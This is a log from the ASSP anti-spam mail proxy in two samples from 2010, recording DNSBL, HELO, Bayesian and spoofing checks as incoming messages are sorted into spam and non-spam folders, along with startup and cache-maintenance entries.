Jun-26-10 18:13:39 68818-10051 [MsgID] 125.160.111.171 <prefacesd21@booktango.com> to: mailuser@mysite.de [scoring] (Message-ID suspicious: '000d01cb154c$02b58760$6400a8c0@prefacesd21');
Jun-26-10 18:13:39 68818-10051 [InvalidHELO] 125.160.111.171 <prefacesd21@booktango.com> to: mailuser@mysite.de [scoring:5] -- invalid HELO: '171.subnet125-160-111.speedy.telkom.net.id';
Jun-26-10 18:13:39 68818-10051 [DNSBL] 125.160.111.171 <prefacesd21@booktango.com> to: mailuser@mysite.de [spam found] -- DNSBL: failed, 125.160.111.171 listed in ix.dnsbl.manitu.net zen.spamhaus.org -- [Start building your style with unique bracelet mad] -> spam/10051.eml;
Jun-26-10 18:17:42 69061-10295 [DNSBL] 82.98.111.248 <postmaster@admail-ltd.net> to: mailuser@mysite.de [scoring:15] -- DNSBL: hit, 82.98.111.248 listed in l2.apews.org;
Jun-26-10 18:17:44 69061-10295 82.98.111.248 <postmaster@admail-ltd.net> to: mailuser@mysite.de [scoring:45] Bayesian Check - Prob: 1.0000 => spam;
Jun-26-10 18:17:44 69061-10295 [MessageScoring] 82.98.111.248 <postmaster@admail-ltd.net> to: mailuser@mysite.de [spam found] -- MessageScore (70) over limit (50) -- [Wir schicken Deutschland g nstiger in den Urlaub];
Jun-26-10 18:25:35 69532-10767 [BlackHELO] 89.137.151.155 <fwufyoyomy@rwanational.org> to: mailuser@mysite.de [scoring] -- blacklisted HELO 'rwanational.org' -- [Tolle Neuigkeiten jetzt spielen];
Jun-26-10 18:25:35 69532-10767 [DNSBL] 89.137.151.155 <fwufyoyomy@rwanational.org> to: mailuser@mysite.de [spam found] -- DNSBL: failed, 89.137.151.155 listed in dnsbl-1.uceprotect.net zen.spamhaus.org -- [Tolle Neuigkeiten jetzt spielen] -> spam/10767.eml;
Jun-26-10 18:25:40 69537-10773 [BlackHELO] 41.251.63.164 <jhonyuveeuc@yebox.com> to: mailuser@mysite.de [scoring] -- blacklisted HELO 'yebox.com' -- [Deftiger Bonus im Anmarsch];
Jun-26-10 18:25:40 69537-10773 [DNSBL] 41.251.63.164 <jhonyuveeuc@yebox.com> to: mailuser@mysite.de [scoring:38] -- DNSBL: hit, 41.251.63.164 listed in dnsbl-3.uceprotect.net l2.apews.org;
Jun-26-10 18:25:43 69537-10773 [MissingMX] 41.251.63.164 <jhonyuveeuc@yebox.com> to: mailuser@mysite.de [scoring:10] MX record missing for domain: yebox.com;
Jun-26-10 18:25:44 69537-10773 [PTRmissing] 41.251.63.164 <jhonyuveeuc@yebox.com> to: mailuser@mysite.de [scoring:5] (PTR missing);
Jun-26-10 18:25:44 69537-10773 [MessageScoring] 41.251.63.164 <jhonyuveeuc@yebox.com> to: mailuser@mysite.de [spam found] -- MessageScore (83) over limit (50) -- [Deftiger Bonus im Anmarsch] -> spam/10773.eml;
Jun-26-10 18:25:51 69546-10783 [DNSBL] 189.106.42.126 <touomumaeop@doneasy.com> to: mailuser@mysite.de [spam found] -- DNSBL: failed, 189.106.42.126 listed in l2.apews.org zen.spamhaus.org -- [Erhalten Sie einen besonderen Bonus im CC] -> spam/10783.eml;
Jun-26-10 18:49:23 70963-12201 [MsgID] 85.246.192.130 <guwyha8850@telepac.pt> to: mailuser@mysite.de [scoring] (Message-ID missing);
Jun-26-10 18:49:24 70963-12201 [BlackHELO] 85.246.192.130 <guwyha8850@telepac.pt> to: mailuser@mysite.de [scoring] -- blacklisted HELO 'telepac.pt' -- [Hot news for mailuser 70 off all June word is];
Jun-26-10 18:49:24 70963-12201 [DNSBL] 85.246.192.130 <guwyha8850@telepac.pt> to: mailuser@mysite.de [spam found] -- DNSBL: failed, 85.246.192.130 listed in ix.dnsbl.manitu.net zen.spamhaus.org -- [Hot news for mailuser 70 off all June word is] -> spam/12201.eml;
Jun-26-10 18:53:19 Saving whitelist;
Jun-26-10 18:53:19 Saving redlist;
Jun-26-10 18:54:24 Info: next assp version check download in 7 hours 32 mins ;
Jun-26-10 19:00:20 Info: hourly scheduler running at 19:00;
Jun-26-10 19:16:43 72601-13840 [MsgID] 201.212.33.20 <uizute1512@prima.net.ar> to: mailuser@mysite.de [scoring] (Message-ID missing);
Jun-26-10 19:16:43 72601-13840 [BlackHELO] 201.212.33.20 <uizute1512@prima.net.ar> to: mailuser@mysite.de [scoring] -- blacklisted HELO 'prima.net.ar' -- [Hot news for mailuser 70 off all June Of Standardiz];
Jun-26-10 19:16:43 72601-13840 [DNSBL] 201.212.33.20 <uizute1512@prima.net.ar> to: mailuser@mysite.de [spam found] -- DNSBL: failed, 201.212.33.20 listed in ix.dnsbl.manitu.net psbl.surriel.com -- [Hot news for mailuser 70 off all June Of Standardiz] -> spam/13840.eml;
Jun-26-10 19:19:29 72769-00009 [Whitelisted] 82.195.75.100 <bounce-debian-user-german=seo=myhost.de@lists.debian.org> to: seo@myhost.de whitelisted -- debian-user-german-request@lists.debian.org on whitelistdb -- [Nach Upgrade auf Lenny Samba ADS will nicht mehr] -> notspam/9.eml;
Jun-26-10 19:37:35 73854-01095 [Whitelisted] 82.195.75.100 <bounce-debian-user-german=seo=myhost.de@lists.debian.org> to: seo@myhost.de whitelisted -- debian-user-german-request@lists.debian.org on whitelistdb -- [Re Nach Upgrade auf Lenny Samba ADS will nicht meh] -> notspam/1095.eml;
Jun-26-10 19:41:21 74080-01322 151.68.208.180 <mailuser@mysite.de> to: mailuser@mysite.de [scoring:10] -- HELO contains IP: '[151.68.208.180]' -- [Great news mailuser 80 off today President British];
Jun-26-10 19:41:21 74080-01322 [Whitish] 151.68.208.180 <mailuser@mysite.de> to: mailuser@mysite.de [scoring:-10] -- whitish address 'mailuser@mysite.de' -- [Great news mailuser 80 off today President British];
Jun-26-10 19:41:21 74080-01322 [ForgedLocalSender] 151.68.208.180 <mailuser@mysite.de> to: mailuser@mysite.de [spam found] -- Invalid Local Sender 'mailuser@mysite.de' -- [Great news mailuser 80 off today President British];
Jun-26-10 19:53:00 Uploading stats via direct connection;
Jun-26-10 19:53:10 Cleaning up cache records ...;
Jun-26-10 19:53:10 DNSBLCache: cleaning cache finished; before=46, deleted=0;
Jun-26-10 19:53:10 URIBLCache: cleaning cache finished: Domains before=32, deleted=0;
Jun-26-10 19:53:10 PTRCache: cleaning cache finished; before=26, deleted=0;
Jun-26-10 19:53:10 MXACache: cleaning cache finished; before=18, deleted=0;
Jun-26-10 19:53:10 SenderBaseCache: cleaning cache finished; before=433, deleted=4;
Jun-26-10 19:53:10 OKCache: cleaning cache finished; before=17, deleted=0;
Jun-26-10 19:53:10 Saving cache records;
Jun-26-10 19:53:20 Saving whitelist;
Jun-26-10 19:53:20 Saving redlist;
Jun-26-10 19:54:25 Info: next assp version check download in 14 hours 32 mins ;
Jun-26-10 20:00:21 Info: hourly scheduler running at 20:00;
Jun-26-10 20:03:29 75399-02642 118.166.224.97 <z2007tw@yahoo.com.tw> to: vkihwpdh@yahoo.com.tw [scoring:10] -- IP in HELO does not match connection: '88.198.52.246' -- [BC 88 198 52 246];
Jun-26-10 20:03:30 75399-02642 [InvalidHELO] 118.166.224.97 <z2007tw@yahoo.com.tw> to: vkihwpdh@yahoo.com.tw [scoring:5] -- invalid HELO: '88.198.52.246';
Jun-26-10 20:03:30 75399-02642 [BlackHELO] 118.166.224.97 <z2007tw@yahoo.com.tw> to: vkihwpdh@yahoo.com.tw [scoring] -- blacklisted HELO '88.198.52.246' -- [BC 88 198 52 246];
Jun-26-10 20:03:30 75399-02642 [DNSBL] 118.166.224.97 <z2007tw@yahoo.com.tw> to: vkihwpdh@yahoo.com.tw [spam found] -- DNSBL: failed, 118.166.224.97 listed in l2.apews.org zen.spamhaus.org -- [BC 88 198 52 246] -> spam/2642.eml;
Jun-26-10 20:24:09 76649-03893 [Whitelisted] 82.195.75.100 <bounce-debian-user-german=seo=myhost.de@lists.debian.org> to: seo@myhost.de whitelisted -- debian-user-german-request@lists.debian.org on whitelistdb -- [Re Nach Upgrade auf Lenny Samba ADS will nicht meh] -> notspam/3893.eml;
Jun-26-10 20:42:57 Admin connection from 91.60.195.89:53675; page:/maillog;









Sample2:


FEb-23-10 13:20:02 Assp.pl version 1.7.0.0(0.0.12) (Perl 5.010001) initializing ;
FEb-23-10 13:20:02 File::Scan::ClamAV module version 1.91 installed and available;
FEb-23-10 13:20:02 Assp.pl running on server: myhost.de (88.198.52.246);
FEb-23-10 13:20:02 Net::LDAP module version 0.39 installed and available;
FEb-23-10 13:20:02 Net::DNS module version 0.66 installed;
FEb-23-10 13:20:02 Email::Valid module version 0.182 installed and available;
FEb-23-10 13:20:02 Email::Send module version 2.198 installed - resending blocked messages available;
FEb-23-10 13:20:02 Mail::SPF module version 2.007 installed and available;
FEb-23-10 13:20:02 Mail::SRS module version 0.31 installed - Sender Rewriting Scheme available;
FEb-23-10 13:20:02 Compress::Zlib module version 2.024 installed - HTTP compression available;
FEb-23-10 13:20:02 Digest::MD5 module version 2.39 installed - Greylisting/Delaying can use MD5 keys for hashes;
FEb-23-10 13:20:02 Digest::SHA1 module version 2.12 installed - Message-ID tagging (FBMTV) available;
FEb-23-10 13:20:02 File::ReadBackwards module version 1.04 installed - searching of log files enabled;
FEb-23-10 13:20:02 Time::HiRes module version 1.972 installed - CPU usage statistics available;
FEb-23-10 13:20:02 Sys::Syslog module version 0.27 installed - Unix centralized logging enabled;
FEb-23-10 13:20:02 Tie::RDBM module version 0.70 installed - mysql usage available;
FEb-23-10 13:20:02 Net::IP::Match::Regexp module version 1.01 installed - CIDR notation for IP range available;
FEb-23-10 13:20:02 Net::CIDR::Lite module version 0.20 installed - Hyphenated IP address range available;
FEb-23-10 13:20:02 Net::SenderBase module version 1.01 installed - SenderBase Queries available;
FEb-23-10 13:20:02 LWP::Simple module version 5.827 installed - griplist available;
FEb-23-10 13:20:02 Email::MIME::Modifier module version 1.903 installed - attachments detection available;
FEb-23-10 13:20:02 Net::SMTP module version 2.31 installed - VRFY Recipients available;
FEb-23-10 13:20:02 IO::Socket::SSL module not checked   - SSL support is disabled in config (enableSSL);
FEb-23-10 13:20:02 IO::Socket::INET6 module not checked   - IPv6 support not enabled (enableINET6);
FEb-23-10 13:20:02 Listening for SMTP connections on 88.198.52.246:25;
FEb-23-10 13:20:02 Listening for ADMIN http connections on 55555;
FEb-23-10 13:20:02 Listening for STATISTICS  http connections on 55553;
FEb-23-10 13:20:02 Listening for additional SMTP connections on 88.198.52.246:587;
FEb-23-10 13:20:03 Running in (base)directory '/usr/share/assp';
FEb-23-10 13:20:03 Starting assp.pl 1.7.0.0(0.0.12) (PID: 14626) as daemon;
FEb-23-10 13:20:17 Admin connection from 79.237.168.155:43133; page:/;
FEb-23-10 13:20:23 Admin connection from 79.237.168.155:43145; page:/maillog;
FEb-23-10 13:20:35 27634-11634 [Local] 79.237.168.155 <admin@myhost.de> to: alexander-myuser@web.de local --  --  [s] -> /usr/share/assp/notspam/11634.eml;
FEb-23-10 13:21:04 27660-11661 87.248.110.141 <blahmana@yahoo.de> to: admin@myhost.de [scoring] Bayesian Check - Prob: 0.84024 => spam;
FEb-23-10 13:21:04 27660-11661 [MessageScore] 87.248.110.141 <blahmana@yahoo.de> to: admin@myhost.de [spam passed] -- passing because messagescore(46) is in warning range ( 45 - 50)  --  [keks] -> /usr/share/assp/discarded/11661.eml;
FEb-23-10 13:21:15 27675-11677 [Whitelisted] 82.195.75.100 <bounce-debian-user-german=seo=myhost.de@lists.debian.org> to: seo@myhost.de whitelisted -- debian-user-german-request@lists.debian.org on whitelist  --  [Re Debian kann sich nicht entscheiden ob flashplay] -> /usr/share/assp/notspam/11677.eml;
FEb-23-10 13:21:31 27688-11691 [MessageOK] 87.248.110.140 <blahmana@yahoo.de> to: admin@myhost.de -- Message OK --  [AW keks] -> /usr/share/assp/okmail/AW_keks--1.eml;
FEb-23-10 13:21:46 27706-11710 [Whitelisted] 91.189.94.204 <ubuntu-de-bounces@lists.ubuntu.com> to: seo@myhost.de whitelisted -- ubuntu-de-request@lists.ubuntu.com on whitelist  --  [Re tar gz installieren] -> /usr/share/assp/notspam/11710.eml;
FEb-23-10 13:22:39 27759-11764 [Whitelisted] 82.195.75.100 <bounce-debian-user-german=seo=myhost.de@lists.debian.org> to: seo@myhost.de whitelisted -- debian-user-german-request@lists.debian.org on whitelist  --  [Re CRM System] -> /usr/share/assp/notspam/11764.eml;
FEb-23-10 13:24:53 Admin connection from 79.237.168.155:56831; page:/;
FEb-23-10 13:24:58 Admin connection from 79.237.168.155:56832; page:/;
FEb-23-10 13:26:10 27967-11973 87.248.110.137 <blahmana@yahoo.de> to: admin@myhost.de [scoring] Bayesian Check - Prob: 0.84024 => spam;
FEb-23-10 13:26:10 27967-11973 [MessageScore] 87.248.110.137 <blahmana@yahoo.de> to: admin@myhost.de [spam passed] -- passing because messagescore(46) is in warning range ( 45 - 50)  --  [keks] -> /usr/share/assp/discarded/11973.eml;
FEb-23-10 13:26:15 27975-11982 193.169.180.3 <return@news.tchibo.de> to: myuser@myhost.de [spam found] -- blacklisted domain 'news.tchibo.de' --  [In Sachen Sport gibt es jetzt f r jeden das Richti] -> /usr/share/assp/spam/11982.eml;
FEb-23-10 13:27:15 28035-12043 [Whitelisted] 82.195.75.100 <bounce-debian-user-german=seo=myhost.de@lists.debian.org> to: seo@myhost.de whitelisted -- debian-user-german-request@lists.debian.org on whitelist  --  [Re CRM System] -> /usr/share/assp/notspam/12043.eml;
FEb-23-10 13:28:47 28124-12133 87.248.110.139 <blahmana@yahoo.de> to: admin@myhost.de [scoring] Bayesian Check - Prob: 0.99916 => spam;
FEb-23-10 13:28:47 28124-12133 [MessageScore] 87.248.110.139 <blahmana@yahoo.de> to: admin@myhost.de [spam passed] -- passing because messagescore(46) is in warning range ( 45 - 50)  --  [keks] -> /usr/share/assp/discarded/12133.eml;
FEb-23-10 13:30:13 28213-12223 [MessageOK] 87.248.110.141 <blahmana@yahoo.de> to: admin@myhost.de -- Message OK --  [keks] -> /usr/share/assp/okmail/keks--2.eml;
FEb-23-10 13:36:50 28608-12619 [MessageOK] 213.133.104.100 <root@robot.first-ns.de> to: admin@myhost.de -- Message OK --  [Achtung Traffic Report Limit Ueberschreitung atten] -> /usr/share/assp/okmail/Achtung_Traffic_Report_Limit_Ueberschreitung_attention_exceeding_of_traffic_report_limit--3.eml;
FEb-23-10 13:39:01 28741-12753 [Whitelisted] 82.195.75.100 <bounce-debian-user-german=seo=myhost.de@lists.debian.org> to: seo@myhost.de whitelisted -- debian-user-german-request@lists.debian.org on whitelist  --  [Re Debian kann sich nicht entscheiden ob flashplay] -> /usr/share/assp/notspam/12753.eml;
FEb-23-10 13:45:34 29134-13147 89.136.17.236 <myuser@myhost.de> to: myuser@myhost.de [scoring:-10] -- greenlisted address 'myuser@myhost.de' --  [Exclusively for myuser 80];
FEb-23-10 13:45:34 29134-13147 [SpoofedSender] 89.136.17.236 <myuser@myhost.de> to: myuser@myhost.de [scoring] -- No Spoofing Allowed --  [Exclusively for myuser 80];
FEb-23-10 13:45:34 29134-13147 [MsgID] 89.136.17.236 <myuser@myhost.de> to: myuser@myhost.de [scoring] (Message-ID missing);
FEb-23-10 13:45:34 29134-13147 [DNSBL] 89.136.17.236 <myuser@myhost.de> to: myuser@myhost.de [spam found] -- DNSBL: failed, 89.136.17.236 listed in ix.dnsbl.manitu.net psbl.surriel.com --  [Exclusively for myuser 80] -> /usr/share/assp/spam/13147.eml;
FEb-23-10 13:51:54 29514-13529 [Whitelisted] 82.195.75.100 <bounce-debian-user-german=seo=myhost.de@lists.debian.org> to: seo@myhost.de whitelisted -- debian-user-german-request@lists.debian.org on whitelist  --  [AW CRM System] -> /usr/share/assp/notspam/13529.eml;
FEb-23-10 13:59:36 29976-13992 [Whitelisted] 82.195.75.100 <bounce-debian-user-german=seo=myhost.de@lists.debian.org> to: seo@myhost.de whitelisted -- debian-user-german-request@lists.debian.org on whitelist  --  [Re Debian kann sich nicht entscheiden ob flashplay] -> /usr/share/assp/notspam/13992.eml;
FEb-23-10 14:00:01 Info: hourly scheduler running at 14:00;
FEb-23-10 14:00:15 30015-00032 [Whitelisted] 82.195.75.100 <bounce-debian-user-german=seo=myhost.de@lists.debian.org> to: seo@myhost.de whitelisted -- debian-user-german-request@lists.debian.org on whitelist  --  [Re Debian kann sich nicht entscheiden ob flashplay] -> /usr/share/assp/notspam/32.eml;
FEb-23-10 14:00:55 30055-00073 [MessageOK] 213.133.104.100 <root@robot.first-ns.de> to: admin@myhost.de -- Message OK --  [Achtung Traffic Report Limit Ueberschreitung atten] -> /usr/share/assp/okmail/Achtung_Traffic_Report_Limit_Ueberschreitung_attention_exceeding_of_traffic_report_limit--4.eml;
FEb-23-10 14:13:51 30830-00849 [MsgID] 58.9.5.229 <uvuwefyf2157@asianet.co.th> to: myuser@myhost.de [scoring] (Message-ID missing);
FEb-23-10 14:13:51 30830-00849 [BlackHELO] 58.9.5.229 <uvuwefyf2157@asianet.co.th> to: myuser@myhost.de [scoring] -- blacklisted HELO 'asianet.co.th' --  [Exclusively for myuser 80];
FEb-23-10 14:13:51 30830-00849 [DNSBL] 58.9.5.229 <uvuwefyf2157@asianet.co.th> to: myuser@myhost.de [spam found] -- DNSBL: failed, 58.9.5.229 listed in dnsbl-2.uceprotect.net ix.dnsbl.manitu.net --  [Exclusively for myuser 80] -> /usr/share/assp/spam/849.eml;
FEb-23-10 14:20:02 Saving whitelist;
FEb-23-10 14:20:02 Saving redlist;
FEb-23-10 14:36:26 32186-02206 [MessageOK] 213.133.104.100 <root@robot.first-ns.de> to: admin@myhost.de -- Message OK --  [Achtung Traffic Report Limit Ueberschreitung atten] -> /usr/share/assp/okmail/Achtung_Traffic_Report_Limit_Ueberschreitung_attention_exceeding_of_traffic_report_limit--5.eml;
FEb-23-10 14:37:41 32261-02282 [Whitelisted] 82.195.75.100 <bounce-debian-user-german=seo=myhost.de@lists.debian.org> to: seo@myhost.de whitelisted -- debian-user-german-request@lists.debian.org on whitelist  --  [Re Serverseitiger zeitverz gerter Emailversand] -> /usr/share/assp/notspam/2282.eml;
FEb-23-10 14:57:57 33476-03498 41.107.96.234 <myuser@myhost.de> to: myuser@myhost.de [scoring:-10] -- greenlisted address 'myuser@myhost.de' --  [Exclusively for myuser 80];
FEb-23-10 14:57:57 33476-03498 [SpoofedSender] 41.107.96.234 <myuser@myhost.de> to: myuser@myhost.de [scoring] -- No Spoofing Allowed --  [Exclusively for myuser 80];
FEb-23-10 14:57:57 33476-03498 [MsgID] 41.107.96.234 <myuser@myhost.de> to: myuser@myhost.de [scoring] (Message-ID missing);
FEb-23-10 14:57:57 33476-03498 [MessageScoring] 41.107.96.234 <myuser@myhost.de> to: myuser@myhost.de [spam found] -- MessageScore (51) over limit (50) --  [Exclusively for myuser 80] -> /usr/share/assp/spam/3498.eml;
FEb-23-10 15:00:02 Info: hourly scheduler running at 15:00;
FEb-23-10 15:14:45 34485-04508 [Whitelisted] 91.189.94.204 <ubuntu-de-bounces@lists.ubuntu.com> to: seo@myhost.de whitelisted -- ubuntu-de-request@lists.ubuntu.com on whitelist  --  [Re Schreibrecht auf Windows partitionen] -> /usr/share/assp/notspam/4508.eml;
FEb-23-10 15:15:45 34545-04569 [Whitelisted] 91.189.94.204 <ubuntu-de-bounces@lists.ubuntu.com> to: seo@myhost.de whitelisted -- ubuntu-de-request@lists.ubuntu.com on whitelist  --  [Re Cyberjack unter Ubuntu 9 10 64Bit zum Laufen br] -> /usr/share/assp/notspam/4569.eml;
FEb-23-10 15:20:06 Saving whitelist;
FEb-23-10 15:20:06 Saving redlist;
FEb-23-10 15:20:06 Cleaning up cache records ...;
FEb-23-10 15:20:06 DNSBLCache: cleaning cache finished; before=77, deleted=10;
FEb-23-10 15:20:06 URIBLCache: cleaning cache finished; before=11, deleted=10;
FEb-23-10 15:20:06 PTRCache: cleaning cache finished; before=5, deleted=0;
FEb-23-10 15:20:06 MXACache: cleaning cache finished; before=2, deleted=0;
FEb-23-10 15:20:06 SenderBaseCache: cleaning cache finished; before=702, deleted=7;
FEb-23-10 15:20:06 Saving cache records;
FEb-23-10 15:22:08 34928-04953 [BlackHELO] 62.27.57.113 <newsletter-EMID0A601NL092LJ9FD015S5T018FK0NB@nl.aktiencheck.de> to: myuser@myhost.de [scoring] -- blacklisted HELO 'mx113.akt.fagms.net' --  [www aktiencheck de Basic Newsletter 23 02 2010];
FEb-23-10 15:22:08 34928-04953 [DNSBL] 62.27.57.113 <newsletter-EMID0A601NL092LJ9FD015S5T018FK0NB@nl.aktiencheck.de> to: myuser@myhost.de [spam found] -- DNSBL: failed, 62.27.57.113 listed in dnsbl-1.uceprotect.net dnsbl-2.uceprotect.net --  [www aktiencheck de Basic Newsletter 23 02 2010] -> /usr/share/assp/spam/4953.eml;
FEb-23-10 15:25:27 35126-05152 [DNSBL] 190.21.29.25 <> to: myuser@myhost.de [spam found] -- DNSBL: failed, 190.21.29.25 listed in dnsbl-3.uceprotect.net zen.spamhaus.org --  [Nur Legale Software Im Maerz 30 Reduziert];
FEb-23-10 15:26:27 35185-05212 [DNSBL] 190.21.29.25 <> to: myuser@myhost.de [spam found] -- DNSBLcache: failed, 190.21.29.25 listed in dnsbl-3.uceprotect.net, zen.spamhaus.org --  [Bekomme Jetzt deine Software Fast Geschenkt];
FEb-23-10 15:30:23 35423-05451 [Whitelisted] 82.195.75.100 <bounce-debian-user-german=seo=myhost.de@lists.debian.org> to: seo@myhost.de whitelisted -- debian-user-german-request@lists.debian.org on whitelist  --  [Re skript zum Zeit korrekt setzen bei einem Brothe] -> /usr/share/assp/notspam/5451.eml;
FEb-23-10 15:37:01 35821-05850 [MessageOK] 213.133.104.100 <root@robot.first-ns.de> to: admin@myhost.de -- Message OK --  [Achtung Traffic Report Limit Ueberschreitung atten] -> /usr/share/assp/okmail/Achtung_Traffic_Report_Limit_Ueberschreitung_attention_exceeding_of_traffic_report_limit--6.eml;
FEb-23-10 15:41:50 36110-06140 [Whitelisted] 91.189.94.204 <ubuntu-de-bounces@lists.ubuntu.com> to: seo@myhost.de whitelisted -- ubuntu-de-request@lists.ubuntu.com on whitelist  --  [Re Schreibrecht auf Windows partitionen] -> /usr/share/assp/notspam/6140.eml;
FEb-23-10 15:41:54 36111-06142 [MsgID] 189.105.84.156 <ihiwuneviv3990@veloxzone.com.br> to: myuser@myhost.de [scoring] (Message-ID missing);
FEb-23-10 15:41:54 36111-06142 [BlackHELO] 189.105.84.156 <ihiwuneviv3990@veloxzone.com.br> to: myuser@myhost.de [scoring] -- blacklisted HELO 'veloxzone.com.br' --  [Exclusively for myuser 80];
FEb-23-10 15:41:54 36111-06142 [DNSBL] 189.105.84.156 <ihiwuneviv3990@veloxzone.com.br> to: myuser@myhost.de [spam found] -- DNSBL: failed, 189.105.84.156 listed in dnsbl-2.uceprotect.net psbl.surriel.com --  [Exclusively for myuser 80] -> /usr/share/assp/spam/6142.eml;
FEb-23-10 15:57:57 37077-07109 [Whitelisted] 82.195.75.100 <bounce-debian-user-german=seo=myhost.de@lists.debian.org> to: seo@myhost.de whitelisted -- debian-user-german-request@lists.debian.org on whitelist  --  [Lieliska iesp ja sa emt d vanu] -> /usr/share/assp/notspam/7109.eml;
FEb-23-10 15:59:19 37159-07192 [Whitelisted] 91.189.94.204 <ubuntu-de-bounces@lists.ubuntu.com> to: seo@myhost.de whitelisted -- ubuntu-de-request@lists.ubuntu.com on whitelist  --  [Re Schreibrecht auf Windows partitionen] -> /usr/share/assp/notspam/7192.eml;
FEb-23-10 16:00:04 Info: hourly scheduler running at 16:00;
FEb-23-10 16:04:21 37460-07494 [Whitelisted] 208.42.190.242 <info114@service.govdelivery.com> to: a.myuser@blackhat-security.de whitelisted -- nasa_subscriptions@service.govdelivery.com on whitelist  --  [Discovery Being Prepped for Rollout] -> /usr/share/assp/notspam/7494.eml;
FEb-23-10 16:04:37 37477-07512 [Whitelisted] 208.42.190.242 <info114@service.govdelivery.com> to: a.myuser@blackhat-security.de whitelisted -- nasa_subscriptions@service.govdelivery.com on whitelist  --  [Preparing for the Next Mission] -> /usr/share/assp/notspam/7512.eml;
FEb-23-10 16:05:33 37533-07569 [Whitelisted] 208.42.190.160 <info114@service.govdelivery.com> to: a.myuser@blackhat-security.de whitelisted -- nasa_subscriptions@service.govdelivery.com on whitelist  --  [Preparing for the Next Mission] -> /usr/share/assp/notspam/7569.eml;
FEb-23-10 16:10:22 37822-07859 [MsgID] 83.135.136.231 <uoxetedac8219@versanet.de> to: myuser@myhost.de [scoring] (Message-ID missing);
FEb-23-10 16:10:22 37822-07859 [BlackHELO] 83.135.136.231 <uoxetedac8219@versanet.de> to: myuser@myhost.de [scoring] -- blacklisted HELO 'versanet.de' --  [Special offer for myuser 80 better price];
FEb-23-10 16:10:23 37822-07859 [DNSBL] 83.135.136.231 <uoxetedac8219@versanet.de> to: myuser@myhost.de [spam found] -- DNSBL: failed, 83.135.136.231 listed in dnsbl-3.uceprotect.net zen.spamhaus.org --  [Special offer for myuser 80 better price] -> /usr/share/assp/spam/7859.eml;
FEb-23-10 16:11:47 37906-07944 [Whitelisted] 91.189.94.204 <ubuntu-de-bounces@lists.ubuntu.com> to: seo@myhost.de whitelisted -- ubuntu-de-request@lists.ubuntu.com on whitelist  --  [Re Schreibrecht auf Windows partitionen] -> /usr/share/assp/notspam/7944.eml;
FEb-23-10 16:20:02 Cleaning up delaying databases ...;
FEb-23-10 16:20:02 Cleaning delaying database (triplets) finished; keys before=0, deleted=0;
FEb-23-10 16:20:02 Cleaning delaying database (safelisted tuplets) finished; keys before=0, deleted=0;
FEb-23-10 16:20:02 Cleaning up penalty records ...;
FEb-23-10 16:20:02 PenaltyBox: cleaning BlackBox finished; before=68, deleted=22;
FEb-23-10 16:20:02 PenaltyBox: cleaning WhiteBox finished; before=116, deleted=0;
FEb-23-10 16:20:02 Saving penalty records;
FEb-23-10 16:20:07 Saving whitelist;
FEb-23-10 16:20:07 Saving redlist;
FEb-23-10 16:25:54 38750-08789 205.134.160.230 <root@midgard.ai.net> to: seo@myhost.de [scoring] Bayesian Check - Prob: 1.00000 => spam;
FEb-23-10 16:25:54 38750-08789 [MessageOK] 205.134.160.230 <root@midgard.ai.net> to: seo@myhost.de -- Message OK --  [1000 Search Engine Submission] -> /usr/share/assp/okmail/1000_Search_Engine_Submission--7.eml;
FEb-23-10 16:31:36 39096-09136 85.10.252.175 <fox@kjm2.de> to: myuser@myhost.de [spam found] -- blacklisted domain 'kjm2.de' --  [Bis zu 2 400 Euro GRATIS Bonus f r Sie Herr Sieber] -> /usr/share/assp/spam/9136.eml;
FEb-23-10 16:33:30 39210-09251 [Local] 79.237.151.235 <myuser@myhost.de> to: edenrose85@web.de local --  --  [vorgestern gestern und heute] -> /usr/share/assp/notspam/9251.eml;
FEb-23-10 16:37:48 39468-09510 [MessageOK] 213.133.104.100 <root@robot.first-ns.de> to: admin@myhost.de -- Message OK --  [Achtung Traffic Report Limit Ueberschreitung atten] -> /usr/share/assp/okmail/Achtung_Traffic_Report_Limit_Ueberschreitung_attention_exceeding_of_traffic_report_limit--8.eml;
FEb-23-10 16:43:48 39828-09871 [Whitelisted] 91.189.94.204 <ubuntu-de-bounces@lists.ubuntu.com> to: seo@myhost.de whitelisted -- ubuntu-de-request@lists.ubuntu.com on whitelist  --  [Re Schreibrecht auf Windows partitionen] -> /usr/share/assp/notspam/9871.eml;
FEb-23-10 16:46:17 39975-10019 195.140.186.51 <gbounce-6099390595-6096-600172335-1266939969398@bounce.service.xing.com> to: tegtmeier@blackhat-security.de [scoring] Bayesian Check - Prob: 1.00000 => spam;
FEb-23-10 16:46:17 39975-10019 [MessageOK] 195.140.186.51 <gbounce-6099390595-6096-600172335-1266939969398@bounce.service.xing.com> to: tegtmeier@blackhat-security.de -- Message OK --  [XING Recruiter Mitgliedschaft in 10 Sekunden zur p] -> /usr/share/assp/okmail/XING_Recruiter_Mitgliedschaft_in_10_Sekunden_zur_perfektenKandidatenliste--9.eml;
FEb-23-10 16:47:17 40036-10081 [DNSBL] 189.23.53.194 <stindebted@cntltd.com> to: myuser@myhost.de [spam found] -- DNSBL: failed, 189.23.53.194 listed in bl.spamcop.net psbl.surriel.com --  [Weihnachten ist Potenz Zeit] -> /usr/share/assp/spam/10081.eml;
FEb-23-10 16:58:38 40718-10764 [Local] 79.237.151.235 <myuser@myhost.de> to: jens.hochrein@magyar.fr local --  --  [elektronisches Wiege Messystem f r Schienenfahrzeu] -> /usr/share/assp/notspam/10764.eml;
FEb-23-10 17:00:05 Info: hourly scheduler running at 17:00;
FEb-23-10 17:00:28 40828-10875 [BlackHELO] 85.214.141.132 <news2@news.aidamedia.com> to: myuser@myhost.de [scoring] -- blacklisted HELO 'mail05.aidamedia.com' --  [Tolle Urlaubsangebote f r S dtirol im Post Alpina];
FEb-23-10 17:00:29 40828-10875 [DNSBL] 85.214.141.132 <news2@news.aidamedia.com> to: myuser@myhost.de [spam found] -- DNSBL: failed, 85.214.141.132 listed in dnsbl-1.uceprotect.net dnsbl-2.uceprotect.net --  [Tolle Urlaubsangebote f r S dtirol im Post Alpina] -> /usr/share/assp/spam/10875.eml;
FEb-23-10 17:04:54 41094-11142 [Whitelisted] 82.195.75.100 <bounce-debian-user-german=seo=myhost.de@lists.debian.org> to: seo@myhost.de whitelisted -- debian-user-german-request@lists.debian.org on whitelist  --  [Re Platte aus Recorder ber USB an Debian Rechner] -> /usr/share/assp/notspam/11142.eml;
FEb-23-10 17:10:04 41403-11452 [MsgID] 113.53.170.44 <accumulativeffb@orlandoliquordelivery.com> to: myuser@myhost.de [scoring] (Message-ID suspicious: '000d01cab4a2$a712cfd0$6400a8c0@accumulativeffb');
